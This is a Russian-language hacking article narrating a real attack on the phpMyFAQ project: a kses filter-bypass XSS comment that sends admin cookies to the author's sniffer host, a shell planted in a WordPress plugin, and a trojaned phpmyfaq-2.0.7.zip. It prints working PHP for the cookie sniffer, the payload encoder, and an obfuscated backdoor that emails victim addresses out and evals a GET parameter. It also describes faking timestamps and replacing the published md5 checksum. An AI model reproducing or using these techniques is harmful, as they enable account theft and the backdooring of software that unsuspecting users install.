Поиск путей проникновения
Для справки: PhpMyFaq – это многофункциональная web-система FAQ, написанная
на PHP и использующая БД, с поддержкой различных языков (в том числе и
русского). При заходе на сайт в глаза сразу же бросается ссылка на devblog
разработчиков, на который я, собственно, и перешел. Блог работал на моей любимой
платформе WordPress :). Тут ты, наверняка, подумаешь: «Фу, вордпресс, его же
может сломать даже ребенок!». Ничего подобного! Утверждение верно лишь для
старых версий. В новых, чтобы взломать блог, приходится изрядно повозиться.
Итак, открыв html-исходник главной страницы блога, я увидел жизнеутверждающую
надпись: «<meta name="generator" content="WordPress 2.3.3" />». На момент
написания статьи это была одна из последних версий вордпресса. Полезных
паблик-уязвимостей для нее не существует, но на каждую дверь всегда найдется
своя отмычка! Немного поразмыслив, я вспомнил о недавнем баге в kses
html-фильтрах (опенсорс-библиотека, используемая во многих скриптах, в том числе
и вордпрессе). Баг заключался в следующем: при проверке ссылок в комментариях
(да и вообще, где угодно) kses-фильтры некорректно обрабатывают начало ссылки –
протокол. По задумке разработчиков, kses-фильтр пропустит только ссылки,
начинающиеся с http://, ftp://, mail://. Так оно и будет работать, но не всегда
:). Путем вставки в линк урлдекодированного символа %0B, мы можем обойти это
ограничение. То есть, при постинге комментария с содержимым
<a href="%0Bjavascript:alert(document.cookie)">Click here</a> (%0B здесь
нужно пропустить через urldecode() )
на таргетной странице мы получим просто javascript-ссылку
<a href="javascript:alert(document.cookie)">Click here</a>
Так что мне оставалось только закодировать evil-жаваскрипт, дабы избавить его
от кавычек, поставить сниффер на свой evil-хост и придумать такую ссылку,
которую бы админы с удовольствием кликнули.
Перед взломом
Ядовитая строка у меня получилась такая:
window.location.href='http://myevilhost.com/snif.php?id='+document.cookie;
Здесь: http://myevilhost.com/snif.php?id= – мой сниффер, принимающий входящие
кукисы через параметр id. Его содержимое, скорее всего, тебе до боли знакомо:
<?php
$id = $_GET["id"];
$file = fopen('log.txt', 'a');
fwrite($file, $id );
fclose($file);
?>
<script>history.go(-1)</script>
Under construction
Полученные кукисы сразу же записываются в log.txt, и серфер перенаправляется
обратно на страницу блога.
Далее было необходимо зашифровать мою ядовитую строку в url-представление.
Для этого я также набросал нехитрый скрипт:
<?php
$str2hex = urldecode("window.location.href=
'http://myevilhost.com/snif.php?id='+document.cookie;");
$returnstr='';
for($i=0;$i<strlen($str);$i++)
{
if($str[$i]=='&')
{
$returnstr .= "$str[$i]";
}
else
{
$hex=dechex(ord($str[$i]));
$returnstr .= "%$hex";
}
}
print $returnstr;
?>
На выходе получилась строка урл-кодированных символов, из которой я и
составил свой мега-комментарий (%0B, конечно же, раскодировал перед постингом):
Help me! My PhpMyFaq installation does not work correctly :(
<a href="%0Bjavascript:%77%69%6e%64%6f%77%2e%6c%6f%63
%61%74%69%6f%6e%2e%68%72%65%66%3d %27%68%74%74%70%3a%2f%2f%6d%79%65%76%69%6c%68%6f%73%74%2e%63%6f%6d%2f%73
%6e%69%66%2e%70%68%70%3f%69%64%3d%27%2b%64%6f%63
%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b">my faqdesc</a>
И, как ни странно, отзывчивые разработчики «пхпмайфака» буквально на
следующий день кликнули по моей ссылке.
Проникновение
Проснувшись, я сразу полез на свой дедик проверять log.txt и увидел в нем
жизнеутверждающую строку:
wordpressuser_1307522524cd4b36efbb9978596d45d7=support;
wordpresspass_1307522524cd4b36efbb9978596d45d7=0c90dc4b44d73f4122933f2b17bf3db7
Видимо, это были кукисы одного из админов блога :).
Теперь мне оставалось только вставить их в Оперу. Что я и сделал с помощью
встроенного редактора кукисов (Инструменты-Дополнительно-Cookies). Зайдя в
админку блога http://devblog.phpmyfaq.de/wp-admin, я убедился, что полученные
кукисы были действительно админские, так как никакого урезания прав даже близко
не наблюдалось. Отсюда я пошел в раздел управления плагинами и убедился, что
админам вообще не знакомо понятие безопасности. Единственный плагин блога –
Akismet (антиспам-плагин) – был открыт на запись (впоследствии выяснилось, что
абсолютно все файлы на сервере доступны для записи), чем я немедленно и
воспользовался, вставив в его код шелл собственного написания. Теперь он был
доступен по адресу http://devblog.phpmyfaq.de/wp-admin/?popa. Далее я стал
искать дистрибутивы PhpMyFaq для скачивания. Таковые нашлись на пару директорий
выше в ./../../download. Последней стабильной версией движка был
phpmyfaq-2.0.7.zip. Его-то я и решил протроянить :).
Для этой нехитрой цели я установил скрипт на свой локалхост и наобум взял
один файл для опытов – ./inc/functions.php. Теперь нужно было лишь придумать
механизм, уведомляющий о том, что новая жертва устанавливает протрояненный
дистрибутив себе на хост – и похитрее его замаскировать (и сам шелл, само
собой). Неплохо было бы сделать так, чтобы во время установки движка
какой-нибудь служебный файл (пустой) записывался в /tmp, а на мое мыло приходил
бы отчет с адресом жертвы. Файл в /tmp нужен был, чтобы мыло не приходило каждый
раз, когда кто-нибудь зайдет на страницы скрипта :).
И я взялся за программную реализацию.
Кодинг
Вышеизложенные идеи я уместил всего лишь в нескольких строчках кода:
if(!is_file("/tmp/sess_php001"))
{
mail("Moe_milo@mail.ru",
"New shell of PhpMyFaq ".getenv("SERVER_NAME").
getenv("SCRIPT_NAME"), getenv("SERVER_NAME").
getenv("SCRIPT_NAME"));
}
$fp=fopen("/tmp/sess_php001","w");
fputs($fp,1);
fclose($fp);
isset($_GET[viewnewest]) ? eval(trim(stripslashes($_GET[viewnewest]))) : "";
Объясняю: если файла /tmp/sess_php001 не существует, скрипт шлет мыло на мой
адрес с урлом жертвы, затем создает файл /tmp/sess_php001. Если существует
параметр $_GET[viewnewest], то он исполняется, как php-код. Все гениальное
просто :).
Теперь мой код необходимо было зашифровать. Я поступил с ним так:
1. Пропустил через base64_encode();
2. Перевел все полученные символы в chr-представление:
$returnstr='';
for($i=0;$i<256;$i++)
{
$arr[chr($i)]=$i;
}
for($i=0;$i<strlen($str);$i++)
{
$i!=(strlen($str)-1) ? $returnstr .= $arr[substr($str,$i,1)].
',' : $returnstr .= $arr[substr($str,$i,1)];
}
print $returnstr;
3. Сериализовал строку с помощью serialize();
4. Закодировал в урл-представление с помощью urlencode();
5. Случайным образом разбил строку в массив.
В результате этих извращений получилось что-то вроде:
array('a%3A444%3A%7Bi%3A0%3Bi%3A68%',
'3Bi%3A1%3Bi%3A81%3Bi%3A2%3Bi%3A1
12%3Bi%3A3%3Bi%3A112%',
.......
'i%3A122%3Bi%3A28%3Bi%3A90%3Bi%3A
29%3Bi%3A88%3Bi%3A30%3Bi%3A78%3Bi')
Ты смог бы расшифровать такое? :) Имхо, любой кодер просто забьет на такую
строку, если вдруг случайно увидит ее.
Затем последовали финальные штрихи. В файл functions.php, а именно – в
function mkts($datum=false,$zeit=false), я вставил следующий код, который
расшифровывал и исполнял мою очередную evil-строку:
$cleanurl=array('a%3A444%3A%7Bi%3A0%3Bi
%3A68%','3Bi%3A1%3Bi%3A81%3Bi%3A2
%3Bi%3A112%3Bi%3A3%3Bi%3A112%',
.......
'i%3A122%3Bi%3A28%3Bi%3A90%3Bi%3A29
%3Bi%3A88%3Bi%3A30%3Bi%3A78%3Bi');
$cleanstring = '';
for ($i = 0;$i < count($cleanurl);$i++)
{
$cleanstring .= $cleanurl[$i];
}
$cleanstring = unserialize(urldecode($cleanstring));
$cleanurl = '';
for ($i = 0;$i < count($cleanstring);$i++)
{
$cleanurl .= chr($cleanstring[$i]);
}
eval(base64_decode($cleanurl));
В том же скрипте я преднамеренно создал вызов функции mkts().
Левел комплит!
Заново перепаковав архив phpmyfaq-2.0.7.zip, я залил его в директорию
downloads и изменил время модификации файла обратно на May 12 08:41 командой
touch -t 200805120841.10 phpmyfaq-2.0.7.zip. Оставалось поколдовать над соседним
файлом phpmyfaq-2.0.7.zip.md5, который содержал md5-хэш архива предыдущей
непротрояненной версии скрипта в формате «2f2f51ed114bf512e57fc76b7ecbd39c
*phpmyfaq-2.0.7.zip». Новый хэш архива (c4838a94897d9840ead97050c6dc1a46),
полученный с помощью встроенной в php функции md5file(), я и записал вместо
старого! Не забыл изменить и время модификации второго файла. После этой
нехитрой операции протроянивания ко мне на мыло постоянно приходят ссылки на
новые шеллы. Что, в общем-то, мне и требовалось. А тебе пожелаю быть очень
внимательным с опенсорсными движками. Не я, так кто-нибудь другой сможет
незаметно подсунуть тебе троянского коня в красивой обертке. Конец :).
После
Те, кто установил протрояненный дистрибутив к себе на хост, понемногу стали
подозревать что-то неладное. На официальном форуме движка http://forum.phpmyfaq.de
зачастую можно увидеть топики следующего содержания:
Привет, моя версия phpmyfaq, которую я скачал с вашего сайта, выдает
следующий бред:
Warning: mail() [function.mail]: SMTP server response:
550 <moe_milo@mail.ru>... Recipient unknown in directory\phpmyfaq\inc\functions.php(1504)
: eval()'d code on line 4
Warning: fopen(/tmp/sess_php001) [function.fopen]: failed to open stream: No
such file or directory in directory\phpmyfaq\inc\functions.php(1504) : eval()'d
code on line 6
Warning: fputs(): supplied argument is not a valid stream resource in directory\phpmyfaq\inc\functions.php(1504)
: eval()'d code on line 7
Warning: fclose(): supplied argument is not a valid stream resource in directory\phpmyfaq\inc\functions.php(1504)
: eval()'d code on line 8
Thanks in advance.
Мыло в этом сообщении выглядит подозрительно, что делать?
Во избежание происков таких подозрительных личностей с включенным php
safe-mode и кастрированным sendmail'ом я убрал свой злонамеренный код из
дистрибутива за номером 2.0.7 и вставил его по той же технологии в дистрибутив
1.6. Скачивают его меньше и, соответственно, реже замечают что-то неладное. Будь
осторожен, если вдруг захочешь поставить себе PhpMyFaq версии 1.6! Хотя и насчет
2.0 тоже не могу обещать, что в скором времени не вставлю туда что-нибудь
нехорошее :).
WWW
http://phpmyfaq.de – оффициальный сайт
PhpMyFaq.
http://wordpress.org – оффициальный сайт
WordPress.
http://www.securityfocus.com/archive/1/490402 – описание уязвимости в
kses-фильтрах.
DANGER
Информация предоставляется исключительно к размышлению. Никакая часть статьи
не может быть использована во вред. В обратном случае ни автор, ни редакция не
несут какой-либо ответственности за возможный ущерб, причиненный вашими
действиями.
|